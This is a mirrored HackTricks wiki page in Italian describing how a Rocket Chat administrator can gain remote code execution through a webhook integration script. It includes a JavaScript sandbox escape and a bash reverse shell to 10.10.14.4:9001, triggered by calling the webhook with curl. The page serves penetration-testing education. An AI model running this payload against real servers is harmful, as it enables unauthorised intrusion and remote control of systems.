mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1.5 KiB
1.5 KiB
Rocket Chat
{{#include ../../banners/hacktricks-training.md}}
RCE
Se sei un admin all'interno di Rocket Chat puoi ottenere RCE.
- Vai su
Integrations
e selezionaNew Integration
e scegli uno qualsiasi:Incoming WebHook
oOutgoing WebHook
. /admin/integrations/incoming

- Secondo la docs, entrambi utilizzano ES2015 / ECMAScript 6 (fondamentalmente JavaScript) per elaborare i dati. Quindi otteniamo una rev shell per javascript come:
const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
- Configura il WebHook (il canale e il post come nome utente devono esistere):

- Configura lo script WebHook:

- Salva le modifiche
- Ottieni l'URL WebHook generato:

- Chiamalo con curl e dovresti ricevere la rev shell
{{#include ../../banners/hacktricks-training.md}}